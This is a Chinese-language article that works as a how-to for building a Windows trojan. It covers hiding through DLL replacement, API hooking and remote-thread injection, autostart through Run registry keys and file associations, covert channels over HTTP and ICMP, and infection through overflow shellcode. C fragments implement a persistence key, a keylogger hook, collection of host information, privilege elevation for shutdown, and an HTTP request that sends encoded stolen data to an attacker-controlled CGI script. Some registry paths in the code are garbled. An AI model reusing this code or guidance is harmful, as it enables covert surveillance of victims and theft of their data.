引言
近年來,黑客攻擊層出不窮,對網絡安全構成了極大的威脅。木馬是黑客的主要攻擊手段之一,它通過滲透進入對方主機系統,從而實現對目標主機的遠程操作,破壞力相當之大。
到目前為止,木馬的發展已經歷了五代:
第一代木馬只是實現簡單的密碼竊取、發送等,在隱藏和通信方面均無特別之處。
第二代木馬的典型代表是冰河,它以文件關聯方式啟動,通過電子郵件傳送信息,在木馬技術發展史上開辟了新的篇章。
第三代木馬的信息傳輸方式有所突破,采用ICMP協議,增加了查殺的難度。
第四代木馬在進程隱藏方面獲得了重大突破,采用插入內核的嵌入方式、利用遠程插入線程技術、嵌入DLL線程、或掛接PSAPI等,實現木馬程序的隱藏,利用反彈端口技術突破防火墻限制,在Windows NT/2000下取得了良好的隱藏效果。
第五代木馬與病毒緊密結合,利用操作系統漏洞,直接實現感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動激活,例如最近新出現的類似沖擊波病毒的木馬—噩夢II。
木馬的關鍵技術
木馬基于C/S模式,服務器端程序運行于被控制的主機上,客戶端完成控制功能。設計木馬時,需考慮幾個關鍵因素:首先要具有深度的隱蔽性,保證木馬的隱蔽運行和啟動,其次要能順利實現客戶端與服務器端的通信,最后還要根據需要實現其他功能。
一、木馬的隱藏
有兩種方法可以隱藏木馬:一種是DLL 木馬,它讓木馬消失在進程列表里,但程序的進程仍然存在;另一種方法則是線程注入式木馬,它讓程序徹底消失,不以進程或服務方式工作。
1、DLL木馬
只要把木馬服務器端的程序注冊為一個服務,系統就不會再把它當作進程,程序便會從任務列表中消失,按下Ctrl+Alt+Delete后,也就看不到該程序。
此方法首先要裝載Kernel32.dll,然后在該DLL中確定函數RegisterServiceProcess()的地址進行調用,但只適用于Windows9x/Me的系統,Windows NT/2000通過服務管理器依然能夠發現在系統中注冊過的服務。
在Windows NT/2000下可采用過濾進程的方法(即API攔截技術),通過建立一個后臺系統鉤子(hook),攔截PSAPI的EnumProcessModules等相關函數控制進程和服務的遍歷調用,當檢測到木馬程序的服務器端進程時直接跳過,從而實現進程的隱藏。這種方法應用廣泛,除了用于進程隱藏以外,還廣泛應用于諸多即時軟件,如金山詞霸就使用類似方法,攔截TextOutA、TextOutW函數,截獲屏幕輸出,實現即時翻譯。
DLL文件是Windows的基礎,所有的API函數都是在DLL中實現的。DLL由多個功能函數構成,入口函數是DllMain,它并不能獨立運行,一般由進程加載并調用。由于DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,而只出現加載進程。運行DLL文件隱藏進程的最簡單方法是利用Rundll32.exe,但也很容易被識破,比較高級的做法是使用特洛伊DLL,它使用木馬DLL替換常用的DLL文件,通過函數轉發器將正常的調用轉發給原DLL,截獲并處理特定的消息。但是,WINDOWS操作系統對此具有相當的防范,Win2000的system32目錄下有一個dllcache目錄,存放著大量的DLL文件(還包括一些重要的exe文件),一旦操作系統發現被保護的DLL文件被篡改,就會自動從dllcache中恢復該文件。此外,特洛伊DLL方法本身也存在一些漏洞(如修復安裝、安裝補丁、升級系統、檢查數字簽名等都可能導致特洛伊DLL失效),并不是DLL木馬的最優選擇。盡管如此,仍有很多方法可以繞過DLL保護(如先更改dllcache目錄中的備份再修改DLL文件、或利用KnownDLLs鍵值更改DLL的默認啟動路徑等)。
2、線程注入式木馬
更好的隱藏方式是使木馬程序不以進程和服務的方式存在,而是完全溶入系統內核。因此,在設計時,我們不應把它做成一個應用程序,而是做成一個可以注入應用程序地址空間的線程。該應用程序必須確保絕對安全,這樣才能達到徹底隱藏的效果,增加查殺的難度。線程注入式木馬采用動態嵌入技術將自己的代碼嵌入正在運行的進程中。
Windows中每個進程都有自己的私有內存空間,其他進程不得對該私有空間進行操作,但實際上,有很多方法可操作私有空間。動態嵌入技術很多,如窗口Hook、掛接API、遠程線程等,遠程線程技術相對簡單,只要有基本的進程線程和動態鏈接庫的知識就可以輕松實現。
遠程線程技術指的是通過在一個遠程進程中創建遠程線程的方法進入該進程的內存地址空間。可以通過CreateRemoteThread函數在一個遠程進程內創建遠程線程,被創建的遠程線程可以共享遠程進程的地址空間,這樣就可以通過該線程進入遠程進程的內存地址空間,從而擁有了遠程進程相當的權限,如在遠程進程內部啟動一個DLL木馬,甚至可以隨意篡改其中的數據。遠程線程技術的關鍵在于要將線程函數執行體及其參數復制到遠程進程空間中,否則遠程線程會在執行時因找不到參數而報錯。
二、木馬服務器端程序的自加載運行
程序自運行的常見方法有:加載程序到啟動組;將程序啟動路徑寫到注冊表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run子鍵(以及RunOnce、RunService、RunOnceService等);修改Boot.ini;通過注冊表中的輸入法鍵值直接掛接啟動;修改Explorer.exe啟動參數以及在win.ini和system.ini中的load節中添加啟動項;在Autoexec.bat中添加程序等。
下面的程序通過修改注冊表中HKEY_LOCAL_MACHINE\ Microsoft\ SOFTWARE\Windows\CurrentVersions\Run的鍵值實現木馬的自啟動:
RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // handle to open key
" SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", // subkey
0,NULL, // class string
REG_OPTION_NON_VOLATILE, // special options
KEY_READ|KEY_WRITE, // desired security access
NULL,&mKeyClass,&dwDisposition // disposition value buffer
);
RegSetValueEx(mKeyClass,NULL,0,REG_SZ,
(const unsigned char *)Name, lstrlen(PathBuf)+1);
RegCloseKey(mKeyClass);
冰河木馬就采用了文件關聯實現木馬的啟動。以文本文件關聯為例,注冊表中HKEY_CLASSES_ROOT\txtfile\shell\open\command的值是文本文件(*.txt文件)的關聯處,缺省為“%SystemRoot%\system32\NOTEPAD.EXE %1”,將其改為木馬程序,那么,以后打開文本文件時就會先執行木馬程序,木馬啟動后,再運行notepad.exe打開指定文件。這個過程在一般人來看,好像什么事也沒發生過。
DLL木馬替換了系統原有的動態連接庫,系統裝載這些連接庫時就啟動了木馬。這種啟動方式相當隱蔽,著名的GINA木馬就是通過替換系統的GINA程序,在木馬DLL中導出系統函數,實現系統正常功能,然后再根據需要實現自身的木馬功能。
三、木馬程序的通信
木馬程序傳遞數據的方法很多,最常見是用TCP、UDP協議,但這種方法的隱蔽性比較差,容易查到,例如,用netstat命令就可以查看到當前活動的TCP、UDP連接。
但仍有很多手段躲避這種偵察,筆者曾嘗試過以下兩種方法:
一種方法是將木馬的通信連接綁定在通用端口上,通過這些服務端口發送信息。例如:將被攻擊主機的信息以電子郵件的形式傳送到攻擊者的電子信箱或上傳到某FTP主機上,也可用免費主頁空間作信息中轉站。利用FTP協議將信息上傳到FTP站點的做法很容易被跟蹤,利用SMTP協議將信息通過電子郵件方式回傳不易被反跟蹤,最多只能找到攻擊者信箱,但防火墻和一些殺毒軟件發現本地有郵件發送時,可能會將其屏蔽并提示用戶。利用HTTP協議上傳信息對攻擊者相當安全,防火墻無法分辨傳送的信息是用戶上網瀏覽的交互信息還是木馬發送的個人信息,這種方法將在后面進行詳細介紹。但是,這些手段都要通過建立TCP連接傳遞命令和數據的,所以存在一個致命漏洞:木馬在等待和運行的過程中,始終有一個和外界聯系的端口打開著。
另一種辦法是使用ICMP協議。ICMP報文由系統內核或進程直接處理而不通過端口,如果木馬將自己偽裝成一個Ping進程,系統就會將ICMP_ECHOREPLY(Ping的回應包)的監聽、處理權交給木馬進程,一旦事先約定好的ICMP_ECHOREPLY包出現(這樣的包經過修改ICMP包頭,加入了木馬的控制字段),木馬就會接受、分析并從報文中解析出命令和數據。防火墻一般不會對ICMP_ECHOREPLY報文進行過濾,因為過濾ICMP_ECHOREPLY報文就意味著主機無法對外進行Ping等路由診斷操作。
DLL木馬的功能實現
木馬的主要功能包括:獲取擊鍵記錄、獲取主機信息、上傳主機信息以及接受控制端命令遠程關機等。
1、在主程序中設置鉤子:
實現記錄按鍵的方法主要利用鍵盤鉤子和通過設計低層鍵盤驅動程序實現,使用鍵盤鉤子實現的代碼如下:
SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,g_module,0);
其中KeyboardProc是回調函數:
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);
if(code==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt->message==WM_KEYDOWN)
{
…//判斷是否擊鍵,是則記錄到文件中
}
}
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
2、獲取主機信息(包括主機名、IP地址、操作系統版本等):
WORD wVersionRequested = MAKEWORD(1, 1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
char hostname[256];
int res = gethostname(hostname, sizeof(hostname)); //獲取主機名
hostent* pHostent = gethostbyname(hostname); //獲取主機IP地址
hostent& he = *pHostent;
sockaddr_in sa;
memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
lstrcpy(&MyIP[0] , inet_ntoa(sa.sin_addr));
WSACleanup();
dwVersion = GetVersion(); //得到WINDOWS的版本號
dwWindowsMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwWindowsMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
if (dwVersion < 0x80000000) // 是Windows NT系統
dwBuild = (DWORD)(HIWORD(dwVersion));
else if (dwWindowsMajorVersion < 4) // 是Win32系統
dwBuild = (DWORD)(HIWORD(dwVersion) & ~0x8000);
else // 是Windows 95系統
dwBuild = 0;
3、遠程關機:
當木馬程序接收到關機命令時,執行關機操作,需要提升權限,否則系統認為權限不夠將禁止其執行。
提升權限:
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
CloseHandle( hToken );
關機:
ExitWindowsEx(EWX_SHUTDOWN, 0);
4、上傳主機信息:
木馬獲取主機信息之后,將其回傳到攻擊者主機、郵箱或主頁空間。
上傳到主頁空間要使用HTTP協議,構造協議包如下:
char header[1324]="GET HTTP://";
char html[]="HTTP/1.0\r\n Accept:*/*\r\nAccept-language:ZH-cn\r\n
User-Agent:Mozilla/4.0(compatible,MSIE,windows95)\r\nhost:";
char hend[]="\r\nproxy-connection:keep-alive\r\n\r\n";
然后填充信息:
lstrcat(header,hmyip[0]);// hmyip即為攻擊者的主頁空間地址
lstrcat(header,"/cgi-bin/fh.cgi?");
lstrcat(header,str); //str就是要上傳的信息,需要先經過Base64編碼
lstrcat(header,html);
lstrcat(header,hmyip[0]);
lstrcat(header,hend);
構造好協議包之后,利用socket通信將該包發給服務器即可。這種方法安全隱蔽,防火墻無法判斷出傳送的數據是否合法。
5、新的傳播方式:以往的木馬在傳播方式上缺乏十分有效的手段,主要利用社會工程學知識誘騙用戶點擊鏈接,或將木馬程序與其他程序捆綁在一起,欺騙用戶執行程序。隨著人們安全意識的不斷提高,這種方法已經越來越難奏效。病毒的傳播方式啟發木馬的設計者利用操作系統漏洞(如WINDOWS系統下的緩沖區溢出漏洞),將木馬代碼寫入SHELLCODE,只要通過遠程向目標主機發送一個數據包,目標主機就會發生緩沖區溢出,代碼跳轉執行SHELLCODE,將木馬植入目標主機,無需用戶介入。沖擊波病毒就是利用了WINDOWS系統的RPC漏洞。
結束語
“道高一尺、魔高一丈”,攻擊與防御是相輔相承的關系,攻擊手段的進步最終必然導致防御技術的提高,而為了突破防御能力增強的系統,攻擊者又會找到新的攻擊方式,木馬技術也將隨之得以不斷的擴充和發展。